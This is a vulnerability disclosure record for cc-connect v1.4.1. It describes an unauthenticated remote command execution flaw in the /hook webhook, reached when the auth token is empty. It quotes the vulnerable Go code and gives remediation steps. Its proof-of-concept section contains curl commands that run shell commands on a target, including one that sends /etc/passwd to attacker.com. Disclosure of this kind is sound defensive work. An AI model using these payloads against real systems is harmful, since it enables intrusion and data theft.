Submit #878916: chenhg5 cc-connect v1.4.1 RCE

1. Metadata
ID: PENDING | Severity: CRITICAL (CVSS:9.8)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: 94 (Code Injection)
Product: cc-connect
Component: core/webhook.go, core/engine.go, config/config.go
Type: Unauthenticated Remote Command Execution
Detection: Source Analysis (Confidence:0.80)
Status: Confirmed (PoC Validated)
Date: 2026-07-03
2. Summary
cc-connect exposes an unauthenticated RCE vulnerability at the /hook endpoint. Whenwebhook.token is empty (default state, documented as empty = no auth), the authentication function bypasses all access control. Attackers can send unauthenticated POST requests with a malicious exec JSON field to execute arbitrary shell commands under the cc-connect process context. This flaw allows full system compromise, data exfiltration and lateral movement with no authentication or user interaction required.
3. Vulnerability Analysis
3.1 Root Cause
Two chained flaws lead to CWE-94 compliance per MITRE (2026-04-30):
1. Hardcoded auth bypass: authenticate() returns true for empty token, disabling access control by design.
2. Unsanitized command injection: User-controlledexec input is directly passed to Go exec.CommandContext() without shell metacharacter neutralization.
3.2 Code Location
Auth Bypass: webhook.go L155-157
Handler Logic: webhook.go L86-333
Command Sink: engine.go L7477-7486
Config Note: config.go L154
3.3 Vulnerable Code
func (ws *WebhookServer)authenticate(r *http.Request)bool{
if ws.token==""{return true} //empty=no auth
return validateToken(r,ws.token)
}
func (ws *WebhookServer)handleHook(w http.ResponseWriter,r *http.Request){
if r.Method!=http.MethodPost{http.Error(w,"POST only",401);return}
if !ws.authenticate(r){http.Error(w,"unauthorized",401);return}
var req WebhookRequest;json.NewDecoder(r.Body).Decode(&req)
if req.Exec!=""{go ws.executeShell(req.Exec)}
}
func shellExecCommand(ctx context.Context,c string)*exec.Cmd{
return exec.CommandContext(ctx,"/bin/sh","-c",c)
}
4. Exploit Chain
1. Attacker sends unauthenticated POST to http://target:9111/hook;
2. Empty token triggers auth bypass;
3. Server parses attacker-controlled exec payload;
4. Payload dispatched to executeShell();
5. Raw command passed to system sink function;
6. Arbitrary OS command executes remotely.
5. Proof of Concept
Both PoCs work on default empty-token deployments.
5.1 Privilege Check
curl -X POST http://target:9111/hook -H "Content-Type:application/json" -d '{"exec":"id","event":"test"}'
Response: HTTP/202 Accepted, command runs as cc-connect user.
5.2 Data Exfiltration
curl -X POST http://target:9111/hook -H "Content-Type:application/json" -d '{"exec":"curl http://attacker.com/$(cat /etc/passwd|base64)","event":"exploit"}'
Impact: Exfiltrates system user data to attacker-controlled Epik-listed domain attacker.com.
6. Impact
Technical: High Confidentiality (file/secret access), High Integrity (data modification), High Availability (service crash/DoS).
Business: Full server breach, lateral movement risk, ransomware/backdoor deployment, regulatory compliance violation.
CVSS Justification: AV:N/AC:L/PR:N/UI:N yields maximum base score per FIRST CVSS 3.1 specification.
7. Remediation
7.1 Immediate
Configure strong random webhook.token; restrict port 9111 via firewall IP allowlist; disable unused webhook module.
7.2 Permanent
Remove empty-token auth bypass logic; enforce non-empty token on startup; delete dangerous exec field feature; implement strict input allowlisting for shell characters; run service with least OS privileges.

• Source: ⚠️ https://github.com/chenhg5/cc-connect/issues/1488
• User: summmm (UID 69690)
• Submission: 07/03/2026 09:29 (2 months ago)
• Moderation: 08/19/2026 18:47 (2 months later)
• Status: Accepted
• VulDB entry: 393229 [chenhg5 cc-connect up to 1.4.1 core/webhook.go authenticate exec code injection]
• Points: 20